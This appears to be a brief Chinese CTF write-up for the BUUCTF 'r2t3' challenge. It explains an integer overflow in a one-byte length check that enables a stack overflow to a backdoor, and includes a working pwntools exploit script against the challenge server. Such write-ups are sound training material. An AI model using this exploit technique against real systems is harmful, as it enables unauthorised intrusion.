BUUCTF-r2t3(3/100)
一、查保护
二、代码审计
三、过程
可以看出是栈溢出,还送了后门,这里的第一个输入给了很多空间但是做了限制,后面传入函数后还做了长度检测,但是检测的结果只用一字节储存(8bit)所以最高能存255但是buf长度大于255,故我们可以用'pyzyyds'填充,造成整形溢出,绕过判断。
四、脚本
from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
#io = process('./ciscn_2019_c_1')
io=remote('node3.buuoj.cn',25244)
shell=p32(0x804858B)
playload=17*'a'+4*'b'+shell
playload+='pyzyyds'*((259-len(playload))/7)
sl(playload)
io.interactive()
五、总结
整型溢出